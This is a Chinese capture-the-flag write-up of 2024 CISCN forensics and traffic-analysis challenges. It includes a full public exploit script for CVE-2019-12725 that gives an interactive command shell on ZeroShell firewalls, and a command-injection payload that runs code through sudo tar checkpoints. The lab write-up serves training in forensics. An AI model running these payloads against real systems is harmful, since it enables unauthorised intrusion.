2024CISCN&长城杯wp
威胁检测与网络流量分析
zeroshell_1
1.解法一：分析流量包 ，提取http对象，找到包含命令的流量包
Referer字段很像base64编码，试一试
真是flag
2.解法二：CTF_NAT一把梭，找到包含flag的密文，cyberchef解密
zeroshell_2
1.解法一：网上找漏洞payload，在url里进行注入，先找flag名称，再cat
2.解法二：网上找别人写好的CVE-EXP
import requests
import re
import sys
import urllib3
from argparse import ArgumentParser
import threadpool
from urllib import parse
from time import time
import random
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filename = sys.argv[1]
url_list=[]
#随机ua
def get_ua():
first_num = random.randint(55, 62)
third_num = random.randint(0, 3200)
fourth_num = random.randint(0, 140)
os_type = [
'(Windows NT 6.1; WOW64)', '(Windows NT 10.0; WOW64)',
'(Macintosh; Intel Mac OS X 10_12_6)'
]
chrome_version = 'Chrome/{}.0.{}.{}'.format(first_num, third_num, fourth_num)
ua = ' '.join(['Mozilla/5.0', random.choice(os_type), 'AppleWebKit/537.36',
'(KHTML, like Gecko)', chrome_version, 'Safari/537.36']
)
return ua
def check_vuln(url):
url = parse.urlparse(url)
url2=url.scheme + '://' + url.netloc
headers = {
'User-Agent': get_ua(),
}
# data=base64.b64encode("eyJzZXQtcHJvcGVydHkiOnsicmVxdWVzdERpc3BhdGNoZXIucmVxdWVzdFBhcnNlcnMuZW5hYmxlUmVtb3RlU3RyZWFtaW5nIjp0cnVlfX0=")
try:
res2 = requests.get(url2 + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27',headers=headers,timeout=10,verify=False)
if res2.status_code==200 and "uid" in res2.text:
print("\033[32m[+]%s is vuln\033[0m" %url2)
return 1
else:
print("\033[31m[-]%s is not vuln\033[0m" %url1)
except Exception as e:
print("\033[31m[-]%s is timeout\033[0m" %url2)
#cmdshell
def cmdshell(url):
if check_vuln(url)==1:
url = parse.urlparse(url)
url1 = url.scheme + '://' + url.netloc + '/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0A'
while 1:
shell = input("\033[35mcmd: \033[0m")
if shell =="exit":
sys.exit(0)
else:
headers = {
'User-Agent': get_ua(),
}
try:
res = requests.get(url1 + shell + '%0A%27',headers=headers,timeout=10,verify=False)
if res.status_code==200 and len(res.text) != 0:
vulntext=res.text.split('<html>')
print("\033[32m%s\033[0m" %vulntext[0])
else:
print("\033[31m[-]%s Command execution failed !\033[0m" %url1)
except Exception as e:
print("\033[31m[-]%s is timeout!\033[0m" %url1)
#多线程
def multithreading(url_list, pools=5):
works = []
for i in url_list:
# works.append((func_params, None))
works.append(i)
# print(works)
pool = threadpool.ThreadPool(pools)
reqs = threadpool.makeRequests(check_vuln, works)
[pool.putRequest(req) for req in reqs]
pool.wait()
if __name__ == '__main__':
show = r'''
_____ _ _ _____ _____ _____ __ _____ __ _____ ___________ _____
/ __ \ | | | ___| / __ \| _ |/ | | _ | / | / __ \|___ / __ \| ___|
| / \/ | | | |__ ______`' / /'| |/' |`| | | |_| |______`| | `' / /' / /`' / /'|___ \
| | | | | | __|______| / / | /| | | | \____ |______|| | / / / / / / \ \
| \__/\ \_/ / |___ ./ /___\ |_/ /_| |_.___/ / _| |_./ /___./ / ./ /___/\__/ /
\____/\___/\____/ \_____/ \___/ \___/\____/ \___/\_____/\_/ \_____/\____/
CVE-2019-12725 By m2
'''
print(show + '\n')
arg=ArgumentParser(description='CVE-2019-12725 By m2')
arg.add_argument("-u",
"--url",
help="Target URL; Example:http://ip:port")
arg.add_argument("-f",
"--file",
help="Target URL; Example:url.txt")
arg.add_argument("-c",
"--cmd",
help="Target URL; Example:http://ip:port")
args=arg.parse_args()
url=args.url
filename=args.file
cmd=args.cmd
print('[*]任务开始...')
if url != None and cmd == None and filename == None:
check_vuln(url)
elif url == None and cmd == None and filename != None:
start=time()
for i in open(filename):
i=i.replace('\n','')
check_vuln(i)
end=time()
print('任务完成，用时%d' %(end-start))
elif url == None and cmd != None and filename == None:
cmdshell(cmd)
命令
python C:\Users\86157\Desktop\1.py -c http://61.139.2.100/
直接拿到shell
拿到flag
zeroshell_3
查看外链
netstat -antp
木马是定时启动，所以有时候看不到外联ip，可以通过数据包分析得到
分析流量包,外联木马，源地址肯定是防火墙
2.三次机会，试到202.115.86.103，刚好对了
这下找到了
zeroshell_4
1.解法一：直接找可执行文件像.sh或者.nginx这种使用命令
find / -name ".sh"
find / -name ".nginx"
.sh文件没有，发现.nginx很多，尝试一下。
flag{.nginx}
2.解法二：使用DiskGenius挂载vmdk，分析文件
在第二题flag的同目录下找到一个.nginx文件，复制出来
zeroshell_5
1.解法一：可以wget远程下载.nignx文件
wget "http://61.139.2.100/cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type='%0A/etc/sudo%20tar%20-cf%20/dev/null%20/dev/null%20--checkpoint=1%20--checkpoint-action=exec='cat%20/tmp/.nginx'%0A'"
2.解法二：用磁盘挂载软件，直接下载，需要专业版
用IDA打开，字节查找字符串，反弹ip后面的应该就是密钥了
使用微步云沙箱也可以对木马进行分析
zeroshell_6
ps -aux 查看可以进程进程
接下来一个文件一个文件的看
flag{/var/register/system/startup/scripts/nat/File}
WinFT_1
使用currports查看进程外联情况，等待一段时间后，发现可以外联
本地ip：192.168.116.123:49160
回连ip：192.168.116.130:443
回连域名：miscsecure.com:443
flag{miscsecure.com:192.168.116.130:443}
WinFT_2
使用pchunter64应用，查看启动信息-计划任务，发现可疑flag
导出为txt格式，复制加密后的flag，用base64解码，得到
再用html解码
flag{AES_encryption_algorithm_is_an_excellent_encryption_algorithm}
WinFT_3
根据上一题的提示，everything搜索fla^g，发现可疑文件
可以解压，不过需要密码
密码为木马进程名字 flvupdate
得到驻留的flag
flag{Timeline_correlation_is_a_very_important_part_of_the_digital_forensics_process}
WinFT_4
在靶机的环境中，Thunderbird 的快捷方式很突出，对邮件列表进行排查，重点观察带附件的邮件，发现
查看此发件人的来往邮件
查看该邮件源码
进行base64解密
再对其中的key值进行url解码
再进行一次base64解码
得到flag{The Journey to the West}
WinFT_5
打开恶意流量包
http导出对象client和server，压缩包被分为两部分，根据前面提示，时间线关联非常重要，说明压缩包有顺序
Client 用010打开有pk头
将server拼接在clinet后面，另保存为zip文件
解压需要密码
压缩包最后包含可疑字符串，猜测为密码，base64解密
打开flag.txt 得到密码
flag{a1b2c3d4e5f67890abcdef1234567890-2f4d90a1b7c8e2349d3f56e0a9b01b8a-CBC}
WinFT_6
WinFT-5的flag，提示是CBC模式，得到key为a1b2c3d4e5f67890abcdef1234567890，iv为2f4d90a1b7c8e2349d3f56e0a9b01b8a
对ip==192.168.116.130 进行筛选
发现可能存在密文
利用cyberchef在线解密，得到flag
flag{Hey, keep going and look for another flag}
sc05_1
查找 firewall.xlsx文件直接搜索134.6.4.12，在tcp-export表中
flag{01DF5BC2388E287D4CC8F11EA4D31929}
sc05_2
sc05_3
sc05_4
sc05_5
Kiwi
分析kiwi.exe的逆向
main函数中发现
L"lsadump::lsa /patch" 是一个 minikatz 的指令，具体功能如下：
lsadump模块：lsadump是minikatz的一个模块，用于转储和操作 Windows 的 Local Security Authority (LSA) 相关信息。::lsa： 这是lsadump模块下的一个子命令，用于操作 LSA 相关的凭据和秘密。/patch参数：/patch参数的作用是修改 LSA 的行为，通常用于绕过某些安全限制或修复某些功能。
sub_2974为加密函数
sub_2774为上传报文的函数，具有关键词upload，可以根据url，在流量包中查找密文
在流量包中使用过滤器
Tcp contains "upload"
有三个包传输了数据
追踪tcp流，可以发现三个包传输的密文是相同的，任取一个即可
l1Mvs8wZ1LI/v3Vup1zF8bzdp1B51zz0e0xdfIXNBQMOe1wFEg+Z03ljczfC1qGdp0Y6bWnJ7rUqnQrZmVT9nFPRXqYpURBxuBKInjI5Q2xVgs56q4VRCQWbiyv00Aw7D0CKEotHSy6sQAC1x3T9wDx6xPCioqx/0nwNgrvJnF1Oq7NFZsVpnAxaZC5BVfKSEttFPjYgv3uSfmtxeJg7pPCHmJ8qf/Sd7W7n3gKSB2BELb==
正常的base64无法解密，需要观察前面加密函数中的具体加密过程
v5和v8生成了一个随机种子v6
word_1070中存放了base变表
开始解密
第一步：先将密文利用base64变表解密，转化为hex
第二步：算出总值和随机数
#include<stdio.h>
#include<stdlib.h>
#include<time.h>
#include<stdint.h>
void main() {
long long seed = 0;
int a2[] = { 0x0069, 0x0078, 0x0065, 0x0064, 0x0053, 0x0065, 0x0065, 0x0064, 0x0000 };
int v5 = 70, v7 = 0;
long long a1 = 1;
do
{
seed = (seed + a1 * v5) % 256;
v5 = a2[v7++];
a1 += 1;
} while (v5);
srand(seed);
for (int i = 0; i < 240; i++) {
printf("%d,", rand() % 128);
}
}
第三步：在利用Z3算法解密出明文内容
from z3 import*
s = Solver()
a = [BitVec("flag[%d]"%i,7) for i in range(178)]
a1 = a[:]
enc = [0xb9,0x48,0x1c,0x58,0x81,0x4f,0x51,0x7d,0x27,0x70,0x33,0x6f,0x79,0x48,0x82,0x21,0x08,0x80,0x79,0x49,0x51,0x52,0x28,0x9b,0x7d,0xbb,0x40,0x67,0x45,0x7a,0x96,0x38,0x3e,0x7d,0x41,0x42,0x86,0x60,0x4f,0x6c,0x3b,0x87,0x2e,0x26,0x72,0x51,0x83,0x80,0x79,0xbd,0x79,0x40,0x67,0x71,0x4a,0xa2,0x98,0x76,0x3a,0x8f,0x68,0xda,0x7f,0x74,0x2a,0x33,0x55,0x8d,0x5e,0x2b,0x39,0x6d,0xbe,0x5f,0x74,0x74,0x7d,0x11,0x8e,0x4b,0x4d,0x99,0x64,0x79,0x63,0xb3,0x73,0xca,0x31,0x90,0xc3,0x77,0x1b,0x6f,0x61,0x52,0x11,0xbc,0xbd,0x86,0xb2,0x78,0x4f,0x7e,0x56,0x8f,0x6c,0x94,0xb4,0x3a,0x7f,0x14,0x4b,0x79,0xb6,0x8c,0xb0,0xad,0x8b,0x67,0x6d,0xd1,0x7a,0x9a,0xa7,0x31,0x74,0x25,0x3e,0x61,0x2e,0x82,0x3d,0x63,0x5e,0x77,0x6b,0x7c,0x3f,0x24,0x65,0x35,0x9f,0x53,0x84,0x92,0x42,0xa0,0x7d,0x66,0x70,0x3b,0xd3,0x65,0xa2,0x6d,0x7f,0x19,0x92,0x7a,0x8c,0xb8,0x6b,0x12,0x18,0x66,0x74,0xc0,0x48,0x64,0x9d,0x0e,0x6f,0x53,0x96,0x49,0x61,0x5d]
table_ram= [125,46,16,61,45,39,68,121,39,105,51,85,92,45,122,4,2,101,22,34,20,45,4,71,26,127,38,91,42,38,105,44,47,117,37,61,105,56,69,98,53,107,39,9,15,42,70,91,85,105,22,4,77,101,47,78,106,90,46,117,75,119,88,55,5,15,1,42,34,17,45,82,106,58,116,115,97,9,43,36,16,116,64,37,8,89,102,114,37,55,114,24,16,30,5,72,7,100,108,42,97,26,68,115,76,62,98,58,90,50,114,8,60,109,93,46,77,113,113,91,82,125,60,109,127,3,56,8,62,92,46,101,45,59,84,109,101,96,56,7,2,14,98,46,96,62,53,70,34,21,23,48,121,20,82,28,35,15,57,30,49,96,14,5,14,92,35,104,61,6,64,1,98,3,69,62,4,78,16,22,17,45,33,26,34,100,124,76,1,40,79,51,105,86,85,47,12,101,122,11,90,26,64,81,1,122,97,98,48,5,54,69,33,33,87,64,86,85,4,37,35,55,68,111,108,40,75,13,48,62,33,126,70,2,1,30,103,92,0,64]
for i in range(178):
a[i] = table_ram[i]+(105^a[i])
for i in range(178):
s.add(enc[i]==a[i])
if s.check() == sat:
m = s.model()
for i in range(178):
print((chr(m[a1[i]].as_long()) ),end = '')
第四步：求解Lihua的登录密码 md5 ：23d1e086b85cc18587bbc8c33adefe07
使用hashcat成功解密
flag{memeallme!}
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